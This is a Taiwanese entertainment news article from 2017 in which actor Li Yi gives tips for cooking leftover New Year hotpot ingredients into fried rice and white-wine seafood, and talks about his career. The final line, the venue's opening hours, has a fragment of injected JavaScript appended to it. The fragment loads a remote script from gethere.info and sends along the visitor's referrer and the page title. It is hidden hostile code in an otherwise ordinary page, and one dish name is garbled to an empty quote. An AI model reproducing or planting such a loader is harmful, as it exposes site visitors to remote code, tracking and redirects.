農曆年節間,不外乎就是一家人相聚圍爐,與許久不見的親戚長輩們,聊聊天、分享近況的日子。不過在台灣過年總有既定習俗,那就是除夕時享受的大魚大肉,家家戶戶都會刻意剩餘保留,為的只是盼每年都能「好彩頭」、「年年有餘」,但剩菜總是得吃完,至於怎麼處理才不失原有美味?現在就讓人夫李易來教大家。

李易笑說只要是他掌廚,每個步驟絕不馬虎,也透露過年在家會煮火鍋,不過每每海鮮、肉片總是會剩,所以他都會利用剩餘的材料,做出風味不同的「」及下酒菜「白酒炒海鮮」,與愛妻及親戚一同享用。

▲火鍋剩肉也能變成美味炒飯。(圖/記者林柏年攝,2017.1.20)

▲火鍋剩肉也能變成美味炒飯。(圖/記者林柏年攝,2017.1.20)

▲圍爐剩下的海鮮,搭配白酒快炒絕對會是下酒菜首選,但切記!蛤蜊、花枝較慢熟,建議先下鍋。(圖/記者林柏年攝,2017.1.20)

▲圍爐剩下的海鮮,搭配白酒快炒絕對會是下酒菜首選,但切記!蛤蜊、花枝較慢熟,建議先下鍋。(圖/記者林柏年攝,2017.1.20)

 

拿出火鍋肉片的李易建議,「肉退冰之後,最好不要再放回去,因為會不新鮮」,而他也推薦剩肉可以拿來炒飯,這也是闔家都會的簡易料理,不過切記,因牛肉易熟,所以先醃漬過比較好,除了能去除腥味,肉也會比較嫩;除了牛肉炒飯,李易也力推吃剩的海鮮,搭配白酒快炒,絕對是與長輩下酒談心的首選小菜。

愛料理的李易表示,起初接觸料理時常NG,笑說很感謝《型男大主廚》給了他很多知識,「因為型男煮東西要很快,對廚藝初學者的我來說是很好的節目」,也開心在節目上學到很多自己不知道的「偷吃步。」但因為近幾年家庭人口逐漸增多,所以慢慢的過年不會在家圍爐,則改外出餐廳用餐,不過在還未增產報國前,他與六月(蔡君茹)每年都從除夕吃到開工,一刻都不得閒。

▲李易炒飯撇步:牛肉醃漬後快炒至6、7分熟,切記蔥花最後放,太早放容易焦,飯盡建議「鏟」會比「壓」來得好。(圖/記者林柏年攝,2017.1.20)

▲李易炒飯撇步:牛肉醃漬後快炒至6、7分熟,切記蔥花最後放,太早放容易焦,飯盡建議「鏟」會比「壓」來得好。(圖/記者林柏年攝,2017.1.20)

▲李易對於料理前置絲毫不馬虎。(圖/記者林柏年攝,2017.1.20)

▲李易對於料理前置絲毫不馬虎。(圖/記者林柏年攝,2017.1.20)

星夫妻的李易六月,因常忙於工作,顧小孩的時間都會協調分配,不過近期的他,多半工作屬主持居多,雖然本分是演戲,但他仍享受且熱愛這跨領域的忙碌。李易過去不論是戲劇或主持,都不在意自己是否主Key,只一心專注做好分內工作,但他認為一部戲或電影,角色永遠不分大小,「每個人都要男主角的話,這部戲一定不會好看,一定會有一個職位上是他該發揮的」,深信哪怕只是一個配角,都會是每個作品上,不可或缺的重要關鍵。

最後談及新年新希望,愛下廚的李易,希望有機會能嘗試主持日本旅遊節目,尋找夢幻食材,見識更多曾未見過的料理,除了想進學更多廚藝新知,也想把它分享給大家,笑說這也是自己常把「笑果」帶給觀眾的職業病,熱愛分享、獨樂樂不如眾樂樂。

 

▲李易牌必勝年菜,自豪絕對比餐廳還好吃。(圖/記者林柏年攝,2017.1.20)

▲李易牌必勝年菜,自豪絕對比餐廳還好吃。(圖/記者林柏年攝,2017.1.20)

場地提供:Goloso il cibo e vino

地址:台北市大安區四維路208巷12號

電話:2700-7080

營業時間:18:00 – 02:00s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;